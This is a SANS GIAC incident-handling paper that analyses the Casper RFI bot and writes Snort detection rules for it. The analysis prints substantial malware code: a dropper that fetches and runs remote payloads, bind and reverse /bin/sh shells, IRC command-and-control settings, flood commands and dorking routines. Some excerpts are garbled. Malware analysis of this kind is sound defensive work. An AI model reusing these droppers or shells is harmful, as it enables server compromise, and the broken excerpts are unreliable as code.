SANS Institute
Information Security Reading Room

An Overview Of The Casper RFI Bot

Dan O'Connor
An Overview Of The Casper RFI Bot

GIAC (GCIH) Gold Certification

Author: Dan O’Connor, legacyboy@gmail.com
Advisor: Egan Hadsell

Accepted: June 16, 2011

Abstract

An ISC Diary from Aug 19th 2010, posted information regarding a RFI bot called Casper written in Perl and PHP spreading across Unix like systems. Using basic information available from the diary posting, I was able to obtain a copy of the bot for analysis. This paper will provide a basic overview of the RFI bot. This includes how the bot was spreading between systems, an overview of the collected scripts, and their purpose and function. Also covered is how to un-obfuscate sections of the code and basic information about its command and control structure. As part of the six primary phases of incident handling, the identification and understanding of a threat in the network is crucial. The end result will be more than a basic understanding of the bot. The end result will provide information on how to possibly detect, contain and eradicate the threat with a plausible recovery scenario.
1. Introduction

On July 8th 2010 Emerging Threats added signatures for a remote file inclusion scanner with a user agent containing either “MaMa CaSpEr” or “Casper Bot Search” (Jonkman, 2010). The “MaMa CaSpEr” user agent was first detected around July 3rd 2010 (BotsVsBrowsers, 2010a). The “Casper Bot Search” user agent was first seen around June 25th 2010 (BotsVsBrowsers, 2010b). This scanner was specifically targeting the e107 content management system using multiple RFI vulnerabilities, an XSS vulnerability and a code execution vulnerability (Jonkman, 2010). The sample collected is based on the ByroeNet, with the user agent of “Casper Bot Search” and additional scripts needed to join the host to IRC command and control servers. Multiple versions of the scanner were collected from sub directories, all use IRC as command and control with the channels and servers changing depending on the author of the variation.

Examples of the RFI and XSS exploit code are located at http://www.exploit-db.com/exploits/12818/ and the Code Execution http://www.exploit-db.com/exploits/12715/. Both target the e107 content management system prior to version 0.7.22, and both are from May 2010 released within days of each other with differing authors. The current Emerging Threats signatures can be found on http://doc.emergingthreats.net/2011176 and http://doc.emergingthreats.net/2011175, last updated as of Feb 4th 2011.

Included with the collected scripts were two open source applications, Eggdrop and psyBNC. These will be explained with plausible usage scenarios.

The primary script “casper.txt” will be analyzed along with each of the sub scripts as they would be called during execution. Sophos version 4.63.0 will be used to scan the samples and a VirusTotal.com detection ration will be provided. If possible example Snort style signatures for networking intrusion detection will be provided.

Dan O’Connor, legacyboy@gmail.com
2. Analysis

2.1. casper.txt

Casper.txt is written in PHP. It has an md5 hash of 8885fbe6331f6c5d47f92a697681797f, and is 130 lines long. Sophos version 4.63.0 detects this sample as Trojan/PhpShel-C, it's detection ratio on VirusTotal.com is 39.5%.

The first section of the script has a set of variables that can be used to customize the scripts used and its own connection settings.

```php
12  $admin = "CaLLDeRoN";
13  $serverircs = array("irc.shell2k.com");
14  $serverirc = $serverircs[rand(0,count($serverircs) - 1)];
15  $urldata = "http://xxxxxxxxxxxxxxx.xxx/e107_images/casper/";
16  $injektor = "sh.txt";
17  $defacer = "def.txt";
18  $filepsy = "psy.tar.gz";
19  $portpsy = "6667";
20  $fileeggdrop = "eggdrop.tar.gz";
21  $filebotphp = "bot.txt";
22  $crbots = 2;
23  $filebotperl = "iso.txt";
24  $filebotscan = "scan.txt";
```

The next section is used for determining the current working directory and its read / write status.

```php
26  $P = @getcwd();
27  $perm = (@is_writable($P)) ? "W" : "R";
28  $perm = (is_array($perm)) ? join(" ", $perm) : $perm;
29  $pathbot = $P; if($perm == "R") {
30          if(substr($P,0,5) == "/var/" ) {
31              $pathbot = "/tmp";
32          } else {
33              $pathbot = "/tmp";
34          }
35  } else {
36          $permperl = (@is_writable($pathbot)) ? "W" : "R";
37  }
38  $permperl = (is_array($permperl)) ? join(" ", $permperl) : $permperl;
```

If the current working directory is not writable it will attempt to find another directory to drop the files, either /var or /tmp on line 29. If it can find a directory with write permissions on line 33 it will execute a function called casperget on line 34.

```php
33  if($perm == "W") {
34      if(casperget() != "lain") {
35          caspercmd("rm -fr *");
36          caspercmd(casperget().$urldata.$injektor." -O casper.php");
37          caspercmd(casperget().$urldata.$defacer." -O index.php");
38      } else {
39          caspercmd("lwp-download ". $urldata.$injektor." -O casper.php");
40          caspercmd("lynx -source ". $urldata.$injektor." -O casper.php");
41          caspercmd("GET ". $urldata.$injektor." -O casper.php");
42          caspercmd("lwp-download ". $urldata.$defacer." -O index.php");
43          caspercmd("lynx -source ". $urldata.$defacer." -O index.php");
44          caspercmd("GET ". $urldata.$defacer." -O index.php");
45      }
46  }
118  function casperget() {
```

Dan O'Connor, legacyboy@gmail.com
If casperget returns lain on line 122 which is “other” in Indonesian. It will try using several other methods to pull down what it needs lines 39 to 44.

These commands are executed by using a function called caspercmd which attempts to use several different methods to execute code on the target.

```php
124  function caspercmd($cmd) {
125      if (enabled("exec")) {
126          exec($cmd);
127      } elseif (enabled("shell_exec")) {
128          shell_exec($cmd);
129      } elseif (enabled("system")) {
130          system($cmd);
131      } elseif (enabled("passthru")) {
132          passthru($cmd);
133      }
134  }
```

Next it will check to see if it can access Perl, if it can it attempts to download its own Perl scripts on lines 48 to 57. Then it executes $filebotscan and $filebotperl on lines 58 to 60, which have iso.txt and scan.txt assigned to them. There is a do while loop on lines 61 to 64 that will constantly try to relaunch $filebotperl every 12 hours on line 63. The rand at the end of $serverircs on line 60 and 62 is an attempt to join to a random IRC host from a list of servers, the list with this sample only contained a single entry.

```php
48  if((ex('perl --help')) && $permperl=="W"){
49      caspercmd("cd ".$pathbot.;rm -fr *.txt");
50      if(casperget()=="lain"){
51          caspercmd("cd ".$pathbot.;lwp-download ".$urldata.$filebotscan. ".$urldata.$filebotperl. ");
52          caspercmd("cd ".$pathbot.;lynx -source ".$urldata.$filebotperl. ");
53          caspercmd("cd ".$pathbot.;GET ".$urldata.$filebotperl." -O ".$filebotperl. ");
54      }
55  }else{
56      caspercmd("cd ".$pathbot.;".casperget().".urldata.$filebotscan." -O ".$filebotscan. ");
57      caspercmd("cd ".$pathbot.;".casperget().".urldata.$filebotperl." -O ".$filebotperl. ");
58      caspercmd("cd ".$pathbot.;perl ".$filebotscan. ");
59      sleep(1);
60      caspercmd("cd ".$pathbot.;perl ".$filebotperl. ");
61      $serverircs{rand(0,count($serverircs) - 1)};
62      do {
63          caspercmd("cd ".$pathbot.;perl ".$filebotperl. ");
64          $serverircs{rand(0,count($serverircs) - 1)};
65          sleep(43200);
66      } while(true);
67  }
```

Casper.txt could be used as the remote file during an RFI attack on a host. It will drop the needed files on the remote host and attempt to execute scripts to join it to the command and control channel.

Dan O'Connor, legacyboy@gmail.com
2.1.1. Methods of detection

A simple and very effective method to detect activity related to this script is monitoring for outbound web connections coming from web servers. Below is an example Snort style rule.

```plaintext
alert tcp $HTTP_SERVERS any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Web server making external web connections"; classtype:trojan-activity; sid:XXXXXX; rev:1;)
```

This signature will look for traffic leaving an IP address in your Snort $HTTP_SERVERS group going to an IP that is not in your LAN with a destination port in the $HTTP_PORT group. This will trigger an alert on the attempts to download the additional scripts when casper.txt has been executed.

The rule could be simplified to look for any connections originating from an IP in the $HTTP_SERVERS group. In most cases any outbound connection from a webserver is not typical behavior.

```plaintext
alert tcp $HTTP_SERVERS any -> $EXTERNAL_NET any (flag: S; msg: "Web server making external connections"; classtype:trojan-activity; sid:XXXXXX; rev:1;)
```

This signature will alert on traffic with the TCP SYN flag set coming from an IP in the $HTTP_SERVERS group going to something outside the network to any port.

2.2. sh.txt

sh.txt is written in PHP. It has an md5 sum of 52a8541fb01a8117fa9d110491a1b29d, and is 3,309 lines long. Sophos version 4.63.0 detects this sample as Mal/PHPShell-A, it's detection ratio on VirusTotal.com is 65.1%.

Sh.txt is declared on line 16 of casper.txt and assigned to the variable $injektor, “injector” in Indonesian. Line 36 of casper.txt attempts to write sh.txt to casper.php, other attempts are also made on lines 39, 40 and 41. Once loaded on the target system, sh.txt acts as the administrative portal. A screen shot is below.

```plaintext
34 if(casperget()="lain"){
35 caspercmd("rm -fr *");
36 caspercmd(casperget().$urldata.$injektor." -O casper.php");
37 caspercmd(casperget().$urldata.$defacer." -O index.php");
38 }else{
39 caspercmd("lwp-download ".$urldata.$injektor." -O casper.php");
40 caspercmd("lynx -source ".$urldata.$injektor." -O casper.php");
41 caspercmd("GET ",1.1.1.1 "$urldata.$injektor." -O casper.php");
```

Dan O'Connor, legacyboy@gmail.com
Of the available functions provided by the portal, there is a few that could provide useful information for threat detection. The first is Backdoor, on line 506 of sh.txt is the PHP code building the link displayed on the console. We can follow this to the function that is executed.

506   $quicklaunch2[] = array("Backdoor","$surl."act=shbd");

258  if (empty($_POST['backconnectport']) && ($_POST['use']="$shbd")) {
259    $ip = gethostbyname($_SERVER['HTTP_HOST']);
260    $por = $_POST['backconnectport'];
261    if (is_writable(".")) {
262      cfb("shbd","$backdoor");

Below is the frame that is displayed when the Backdoor link is clicked.

The function cfb takes the contents of $backdoor and writes it to a file on the disk.

Dan O'Connor, legacyboy@gmail.com
called shbd, the port is added as an argument when executed.

```perl
function cfb($fname,$text) {
    $w_file=@fopen($fname,"w") or bberr();
    if($w_file) {
        @fputs($w_file,@base64_decode($text));
        @fclose($w_file);
    }
    ex("chmod 777 shbd");
    $cmd = "/shbd $por";
    exec("$cmd > /dev/null ");
}
```

On line 238 $backdoor is declared, it's very long and a short sample is provided.
The entire contents of $backdoor is base64 encoded, it appears to be an attempt to hide
the contents.

```perl
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAA"
```

Decoding is simple with the Perl code below.

```perl
#!/usr/bin/perl
$backdoor = "contents here";
$out = MIME::Base64::decode $backdoor;
print "$out";
```

The output of $backdoor is a 32-bit ELF executable, with a md5 hash of
eac857a1c16c59f2a1d9b5e3a8208d8f. Sophos version 4.63.0 detects the binary as
Troj-Agent-JQH, it's detection ration on VirusTotal.com is 36.6%. It's basic function is
to open a listening socket on the specified port and connect it to /bin/sh. A small
hexdump is provided.

```
|.........:
|4cking-shell (Pr
|ivate Build v0.3
|) bind shell bac
|kdoor :: ...sock
|et.bind.listen./
|bin/sh........|
```

The next item to examine is “Back-Connect”, from the screen shot we can see
there is two options Perl and C.

---

Dan O'Connor, legacyboy@gmail.com
Following the execution path as before we can find the function that is called to run it.

```php
507 $quicklaunch2[] = array("Back-Connect","$url."act=backc");

3199 echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");

282 if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']="Perl") {  
283  if (is_writable(".")) {  
284    cf("back","$back_connect_pl");  
285    $p2 = which("perl");  
286    $blah = ex([$p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']"]. ");  
287    if (file_exists("back")) { unlink("back"); }  
288  } else {  
289    cf("/tmp/back","$back_connect_pl");  
290    $p2 = which("perl");  
291    $blah = ex([$p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']"]. ");  
292  if (file_exists("/tmp/back")) { unlink("/tmp/back"); }  
293  }  
294  $_POST['backcconnmsg']='Trying to connect to b".  
295  $_POST['backconnectip']." on port b".  
296  
297  if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']="C") {  
298  if (is_writable(".")) {  
299    cf("backc","$back_connect_c");  
300    ex("chmod 777 backc");  
301    $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']");  
302    if (file_exists("backc")) { unlink("backc"); }  
303  } else {  
304    ex("chmod 777 /tmp/backc");  
305    cf("/tmp/backc","$back_connect_c");  
306    $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']");  
307    if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }  
308  }  
309  $_POST['backcconnmsg']='Trying to connect to b".  
310  $_POST['backconnectip']." on port b".  
```

Both $back_connect_pl and $back_connect_c are base64 encoded just as before, short samples are below.

```text
236 $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp  
237 $back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAA
```

The Perl script $back_connect_pl is very short, it opens a socket to a remote

Dan O'Connor, legacyboy@gmail.com
system and connects it to /bin/sh. It has an md5 hash of 8f480a3936819a5092071818f25f2893, Sophos version 4.63.0 does not detect this sample. It's detection ratio on VirusTotal.com is 9.3%, and is identified as a backdoor.

```perl
#!/usr/bin/perl
use Socket;
电力 getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(SOCKET, $paddr) || die("Error: $!");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print ":: w4ck1ng-shell (Private Build v0.3) reverse shell ::
System Info: ";
system($system);
print "Your ID: ";
system($system1);
print "Current Directory: ";
system($system2);
print "\n";
system($system3); system($system4);
close(STDIN);
close(STDOUT);
close(STDERR);
```

The C executable appears to provide the same function, a small hexdump is provided. It's md5 hash is 5771c90e0e499b4a53b7ee9535b1944e. This sample was not detected by Sophos version 4.63.0. It's detection ratio on VirusTotal.com is 0%, a small hexdump sample is provided.

```
[.........[{-] con]
nect().sh -i./bin/
/n/sh............
```

Other areas that should provide useful information is the Feedback and Update links.

```
1910 if ($act == "feedback") {
1911 $suppmail = base64_decode("ZmVlbgNvbXpAZ21haWwuY29t");
```

The contents of $suppmail decodes to feelcomz@gmail.com.

The purpose of the “Update” function is to perform a self update of the script, this is done from a configured target web server.

Dan O'Connor, legacyboy@gmail.com
An Overview Of The Casper RFI Bot | 10

569  if (!function_exists("c99sh_getupdate")) {
570      function c99sh_getupdate($update = TRUE) {
571          $url = $GLOBALS["c99sh_updateurl"] . 
572                  "version=" . urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=" . ($updatenow ? "1" : "0");
573          $data = @file_get_contents($url);
574          if (!isset($data)) return "Can't connect to update-server!");
575
61      $c99sh_updateurl = $sh_mainurl."fx29sh_update.php";
576  $sh_mainurl = "http://xxxxxxxxxxx.xxx/config/";

2.2.1. Methods of detection

With the information gathered from sh.txt additional signatures can be created to assist with detection of this threat on the network.

Monitoring for SMTP connections with the support address.

alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"Casper Email";
flow:to_server,established; content:"feelcomz@gmail.com"; classtype:trojan-
activity; sid:XXXX; rev:X;)

An additional signature to monitor for activity on the default listening port of
5992 TCP is also helpful. Generic shell code signatures may also be able to detect this traffic.

alert tcp $EXTERNAL_NET any -> $HOME_NET 5992 (msg:"Casper BackDoor Connection";
flow:to_server,established; classtype:trojan-activity; sid:XXXX; rev:X;)

Signatures to monitor for the self update attempts could be created, but the signatures created to monitor for outbound connections from the web servers should alert on these.

2.3. def.txt

def.txt is written in HTML and has an md5 sum of
a92c0550b9f828467a5c8723eb34ae65. It contains code to deface the a web site with the names of the hackers and crew. It is declared on line 17 of casper.txt and assigned to the variable $defacer.

17 $defacer     = "def.txt";

Linux xxxxxxx.xxx 2.6.18-8.el5 #1 SMP Thu Mar 15 19:57:35 EDT 2007 i686 i686 i386
GNU/Linux
uid=0(livemy) gid=0(livemy) groups=32087(livemy) context=root:system_r:
unconfined t:SystemLow-SystemHigh
From TURKEY
Ustata - Pr3ns - KILIcArslaN - Desp0tizM - burtay - sanalkrall - by_aSkeR - toFan
...... Ne Mutilu T<FK>R<FC>M Diyene ......
Turkish Hacker Defacer Group <A9> TURKEY
Thanks

Dan O'Connor, legacyboy@gmail.com
This script provides no real useful information that can be used for creating
network intrusion detection signatures.

2.4. bot.txt

Initially declared on line 21 of casper.txt, bot.txt is written in PHP and has a md5
hash of 2c1f8f7d7c0d522813b95c100679d4a1. Sophos version 4.63.0 detects this
sample as Mal/PBot-A, its detection ratio on VirusTotal.com is 65.1%. This is a bot
created in PHP, there is a basic help section at the start of the file.

```
9  * .user <password> //login to the bot
10  * .logout //logout of the bot
11  * .die //kill the bot
12  * .restart //restart the bot
13  * .mail <to> <from> <subject> <msg> //send an email
14  * .dns <IP|HOST> //dns lookup
15  * .download <URL> <filename> //download a file
16  * .exec <cmd> // uses exec() //execute a command
17  * .sexec <cmd> // uses shell_exec() //execute a command
18  * .cmd <cmd> // uses popen() //execute a command
19  * .info // get system information
20  * .php <php code> // uses eval() //execute php code
21  * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
22  * .udpfl00d <target> <packets> <packetsize> <delay> //udpflood attack
23  * .raw <cmd> //raw IRC command
24  * .rndnick //change nickname
25  * .pscan <host> <port> //port scan
26  * .safe // test safe_mode (dvl)
27  * .inbox <to> // test inbox (dvl)
28  * .conback <ip> <port> //connect back (dvl)
29  * .uname // return shell's uname using a php function (dvl)

There is also connection information for a command and control IRC channel.

```
37   var $config = array("server"=>"irc.shell2k.com",
38         "port"=>"6667",
39         "pass"=>"11av795",
40         "prefix"=>"vai",
41         "maxrand"=>"15",
42         "chan"=>"#satshell",
43         "chan2"=>"",
44         "key"=>"",
45         "modes"=>"+p",
46         "password"=>"11av795",
47         "trigger"=>".",
48         "hostauth"=>"*" // * for any hostname (remember:
49             /setvhost xxxxxx.xxx)
50     );
```

There is another base64 encoded variable called $dc_source on line 470.
Additionally there is a function to decode it and write it to disk as a Perl script and
execute it.

```
470   $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2U
471   if (is_writable("/tmp"))
472       { if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
```

Dan O'Connor, legacyboy@gmail.com
The decoded Perl script is detected by Sophos version 4.63.0 as Troj/Worsyn-A and has a detection ratio of 67.4%. The script is used to connect to a shell of a remote target.

```
if (!$ARGV[0]) {
    printf "Usage: $0 [Host] <Port>
";
    exit(1);
}
```

### 2.4.1. Methods of detection

Unique signatures should not be required for detecting activity from this PHP bot, The bot attempting to join an IRC channel after connecting to the server will trigger a Snort alert using this signature already provided in Snorts chat.rules file.

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC channel join"; flow:to_server,established; content:"JOIN "; nocase; pcre:"/\s*JOIN/smi"; metadata:policy classtype:policy-violation; sid:1729; rev:7;)
```

Other signatures such as generic shell code and the previously created signatures to monitor for outbound connections from web servers will also assist in detecting activity associated with his bot.

### 2.5. iso.txt

Iso.txt is assigned to the $filebotperl variable in casper.txt on line 23. It is written in Perl and has a md5 hash of c8edc4540874a7d0131678e42b33f27a. Sophos version 4.63.0 detects this sample as Mal/PerlBot-A, and its detection ratio on VirusTotal.com is 62.8%. This bot has a similar set of available functions as compared to bot.txt, it connects to the same IRC server but uses a different channel. Below is the command options and translation.

```
6 # Comandos:
7 #       @oldpack <ip> <bytes> <tempo>;
8 #       @udp <ip> <porta> <tempo>;
9 #       @fullportscan <ip> <porta inicial> <porta final>;
10 #      @conback <ip> <porta>;
11 #      @download <url> <arquivo a ser salvo> ;
12 #      !estatisticas <on/off> ;
13 #      !sair para finalizar o bot;
14 #      !novonick para trocar o nick do bot por um novo aleatorio;
15 #      !entra <canal> <tempo>;
16 #      !sai <canal> <tempo>;
17 #      !pacotes <on/off>;
```

Dan O'Connor, legacyboy@gmail.com
IRC connection settings.

$$servidor='irc.shell2k.com' unless$$servidor;
my$porta='6667';
my@canais=('#megaturks');
my@adms=('CallDeRooN');

The script is executed from casper.txt on line 60 and 62 in a do while loop.

60 caspercmd("cd ".$pathbot.;perl ".$filebotperl." ".$serverircs[rand(0,count($serverircs) - 1)]");
61 do {
62 caspercmd("cd ".$pathbot.;perl ".$filebotperl." ".$serverircs[rand(0,count($serverircs) - 1)]");
63 sleep(43200);
64 } while(true);

The script will change directory to $pathbot then run $filebotperl. The periods between the quotation marks are used to concatenate the strings together. The addition of the $serverircs[rand(0,count($serverircs) - 1)] is an attempt to randomly select an IRC server to connect to from the array declared on line 13 of casper.txt.

13 $serverircs = array("irc.shell2k.com");

In this case the array only contains a single server, and is picked up on line 106 of iso.txt as a command line argument to it's execution. This is inside a sub routine to connect the bot to its IRC server.

104 sub conectar {
105 my$mmeunick = $_[0];
106 my$servidor_con = $_[1];
107 my$porta_con = $_[2];
108
109 my$IRC_socket = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$servidor_con, PeerPort=>$porta_con) or return(1);
110 if (defined($IRC_socket)) {
111 $IRC_cur_socket = $IRC_socket;
112

Dan O'Connor, legacyboy@gmail.com
The bot will also try and protect itself from system signals.

```perl
50 $SIG{'INT'} = 'IGNORE';
51 $SIG{'HUP'} = 'IGNORE';
52 $SIG{'TERM'} = 'IGNORE';
53 $SIG{'CHLD'} = 'IGNORE';
54 $SIG{'PS'} = 'IGNORE';
```

There is also support for doing shells on windows based system, the port is variable.

```perl
324 # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
325 elsif ($funcarg =~ /^conback\s+(.*)\s+\(\d+\)/) {
326   my $host = "$1";
327   my $porta = "$2";
328   sendraw($IRC_cur_socket, "PRIVMSG $printl :Conectando-se em \002$host:$porta\002");
329   my $proto = getprotobyname('tcp');
330   my $iaddr = inet_aton($host);
331   my $paddr = sockaddr_in($porta, $iaddr);
332   my $shell = "/bin/sh -i";
333   if ($^O eq "MSWin32") {
334     $shell = "cmd.exe";
335   }
```

The bot will also compare the current running kernel with a long list of known vulnerabilities, a sort sample is provided.

```perl
381 if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
382 if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
```

### 2.5.1. Methods of detection

Excluding the IRC connection information gathered from this script, there is very little useful information to create a new set of network intrusion detection signatures. The signatures already created to alert on out bound traffic coming from web servers should alert on anything this bot will do. It's other functions such as port scanning and

Dan O'Connor, legacyboy@gmail.com
shell access will trigger other existing signatures.

2.6. scan.txt

Scan.txt contains the exploit code, attack code and control code. The script itself is written in Perl and has a md5 sum of f9970804dc8e51087c12babf77ef8536. Sophos version 4.63.0 does not detect this sample, it's detection ratio on VirusTotal.com is 16.3%. This script is assigned to the variable $filebotscan on line 24 of casper.txt. It's injected to a target site on line 51 and is executed on line 58 of casper.txt using the caspercmd subroutine.

```
24  $filebotscan = "scan.txt";
51  caspercmd("cd ".$pathbot.;lwp-download ".$urldata.$filebotscan." -O ".
58  $filebotscan);
```

The start of the script contains a set of variables pointing back to the site that preformed the injection on the target. This is under a section titled “Configuration URL” in Indonesian.

```
21  ##[ KONFIGURASI URL ]#
22  my $Ckrid     = "http://xxxxxxx.xxx/e107_images/casper/Ckrid1.txt?";
23  my $Ckrid2    = "http://xxxxxxx.xxx/e107_images/casper/Ckrid2.txt?";
24  my $spread    = "http://xxxxxxx.xxx/e107_images/casper/casper.txt?";
25  my $spread2   = "http://xxxxxxx.xxx/e107_images/casper/casper2.txt?";
26  my $joomlaz   = "http://xxxxxxx.xxx/e107_images/casper/joomla.txt";
27  my $e107cmdsp = "cd /var/tmp;cd /tmp;lwp-download http://xxxxxxx
28  .xxx/e107_images/casper/iso.txt -O iso.txt;curl -O http://xxxxxxx
29  .xxx/e107_images/casper/scan.txt -O scan.txt;curl -O http://xxxxxxx
```

All except for the script joomla.txt and googlez.php were collected from the infected web server. The scripts casper.txt and casper2.txt are the same, they both have a md5 sum of 8885fbeb6331f6e5d47f92a697681797f. Ckrid1.txt contains basic PHP code that echo's an email address 4 times and the word “Ckrid”. Ckrid2 is more complicated, it's a PHP file that contains a set of subroutines to display information about a target machine. This includes the current working directory, user, IP address, kernel information and disk space.

```
4  $P       = @getcwd();
5  $IP      = @getenv("SERVER_ADDR");
6  $UID     = crshell1exec("id");
7  $P       = @getcwd();
8  $IP      = @getenv("SERVER_ADDR");
9  $UID     = crshell1exec("id");
10 cr("SAFE",@safemode()?'ON':'OFF');
```

Dan O'Connor, legacyboy@gmail.com
The variables of $e107cmdsp and $e107cmdsp2 contain the commands needed to pull casper.txt down to a target server and further spread the infection. There is an item to note inside $e107cmdsp, the script iso.txt is executed with a new IRC server. This server is only used here, iso.txt is also executed by casper.txt but it connects it to a different IRC server. Scan.txt has its own IRC configuration section this uses the same server and channel as the other scripts collected.

There is also a local configuration section.

A section for control of the behavior of the bot and more variables for the bot.

Dan O'Connor, legacyboy@gmail.com
04  showsite => 0,
05  showdbse => 0,
06  linez => 3,
07  sleepz => 3,
08  rfipid => 50,
09  rficnt => 100,
10  rficnt2 => 200,
11  timeout => 15,
12  );

105  ##[ INISIALISASI VARIABEL ]##
106  my $chanx = "#megaturks"; #2nd Channel to show the results of vulnerable site
107  my $dbgchan = "#megaturks"; #For debugging purposes (Optional)
108  my @chans = ($bot{chan});
109  my @badbugz = ("scan","bug"); #Bad bugs to cancel scanning
110  my @badorkz = ("dork"); #Bad dorks to cancel scanning
111  my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com","yahoo.com");
#Bad links to exclude
112  my $keluar = 0;
113  my $sock;

The main execution is maintained by a while loop, and will not start if the banner of the bot does not contain "Casper", the reasoning of this is unknown. It could be an attempt to prevent others from trying to alter the script and use it as their own. The word "keluar" is Indonesian and translates to "exit".

115  ##[ PROGRAM UTAMA ]##
116  if (fork() == 0) {
117    while ($keluar != 1) { if($aboutbot =~ /Casper/){irc_connect();} }
118    die("KeLuAR!");
119  }

After the server has connected to the IRC server using it's own connection code it goes in to a while loop reading the socket for commands.

137  while ( $baris = <$sock> ) {

The next section of code is for parsing the commands coming in over the socket.

141  my $com;
142  my $me = $bot{nick};
143  my ($fcom,$dteks,$teks) = split(/\s+:/,$baris);
144  my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
145  my ($dnick,$dhost) = split(/!/,$duhost);

The split command on line 143 is looking for a space or multiple spaces followed by a colon and assigns them in order to the variables listed. Line 144 then splits $fcom by spaces assigns them to three more variables. Then the first variable from line 144 is split again by exclamation points and assigned to two more variables. All of it commands received are parsed by this code and is passed to the exploitation subroutines further down.

Line 160 is the start of the first exploitation attempt using a subroutine called

Dan O'Connor, legacyboy@gmail.com
crsql_scanz, line 450 splits the variables coming into the subroutine.

    160 crsql_scanz("#crack","contact.php","e107",$hb,3,2);
    449 sub crsql_scanz {
        450    my ($to,$bug,$dork,$sb,$type,$autodom) = @_;

    The execution will continue on line 483 when the condition on $autodom is
matched. A foreach loop will step through each of the values of @domini which is from
another subroutine called SiteDomains that returns a list of country code domains such as
ru, ch, ca and uk. Then the condition on $type is matched on line 500, and reports in to
the IRC channel #crack that it’s executing an automatic scan and exploitation.

    483 elsif($autodom == 2){
        484    foreach my $Domains(@domini){
            485        if ($type == 1){
                486            my $badbug = cek_bug($bug);
                487            if ($badbug == 1) { irc_msg($to,"BuGnya JeLek! ScaNnInG DiCanCeL"); return; }
            488        }
            500        if ($type == 3){
                501            irc_msg($to,$colz{1}."Auto Domain e107 ScaN & ExpLoiT DiMuLai ".
$conf{rfpid},"/PID ID: $sb".$colz{2});
                502            crsql_cari($to,$bug,"*.".$Domains." ".dork,$sb,3);
                        503        }

The scanning is performed by the crsql_cari subroutine, it uses multiple search
engines including Yahoo, Google and 14 others. Following the execution we are able to
discover what the search string is. To try and follow what exactly is going on the values
currently assigned to the variables on line 711 are;

    $channel = #crack
    $bug = contact.php
    $dork = "*.ru e107" – The .ru is replaced by the next
item in the list of domains to search.
    $nf = This appears to be a counter, its started on
line138 as $hb ++ and is passed down.
    $type = 3

    710 sub crsql_cari {
        711    my ($chan,$bug,$dork,$nf,$type) = @_;
        712    my @engz;
        713    my $key = $dork;
        714    $dork = urlen($key);
        715    $engz[0] = fork(); if ($engz[0] == 0) {
                        crsql_engine("google","Google","$chan","$bug","$dork","$nf","$type");
                        exit;
        }

The function urlen is used to clean up the $dork and make the special characters
work with search engines.

    1907 sub urlen {
        1908    my $str = $[0];
        1909    #$str =~ s/\+/\%2B/g;
        1910    $str =~ s/ /+/g;

Dan O'Connor, legacyboy@gmail.com
The subroutine se_google is called with "#crack", "*.ru+e107", and the counter that has been passed down.

The subroutine se_google is called with "#crack", "*.ru+e107", and the counter that has been passed down.
The string \$url that will be passed to Google is constructed on line 802, with the values we have now it will look like the following;

\[\text{http://www.google.com/search?num=50&\textasciitilde\textasciitilderu+e107&start=0&\textasciitilde\textasciitildesa=N}\]

This is done using the subroutine bukasitus on line 805. Next it is sending back the number of results from on line 807, the rest of the code is dedicated to pulling URL's out of the HTML returned to \$q and pushing them into the \@daftar array.

```perl
1759 sub bukasitus {
1760 my \$url = \$_[0];
1761 my \$request = HTTP::Request->new(GET => \$url);
1762 my \$ua = LWP::UserAgent->new;
1763 \$ua->timeout($conf{timeout});
1764 \$ua->agent('Casper Bot Search');
1765 my \$response = \$ua->request($\$request);
1766 if ($\$response->is_success) { return \$response->content; }
1767 else { return \$response->status_line; }
1768 }
```

There is also an attempt to deal with Google banning the IP from launching searches.

```perl
822 ##[ GOOGLE BYPASS ]##
823 sub se_gbypass {
824 my (\$chan,\$key,\$nf) = \@_;
825 my \@daftar;
826 my \$num = 50; my \$max = 1000; my \$p = 0;
827 my \$url = \$bypass."?key=\$key."&\$max=\$max;\$max;
828 my \$nxurl;
829 my \$q = bukasitus($\$url);
830 while ( \$q =~ m/<h3 class=r><a href="http://(.*?)"/g ) {  push
\@daftar, \$1); }
831 return \@daftar;
832 }
```

The search results are returned to \@hc by se_google and a unique list is created on line 755 in the crsql_engine subroutine. This is reported back to the IRC channel on line 756, written to disk on line 760 and then the subroutine crsql_eksploit is called on line 761.

```perl
737 if ( \$f eq "google" ) { \@hc = se_google($\$chan,\$dork,\$ef); }
755 my \@cl = lnk_sortir(@hc);
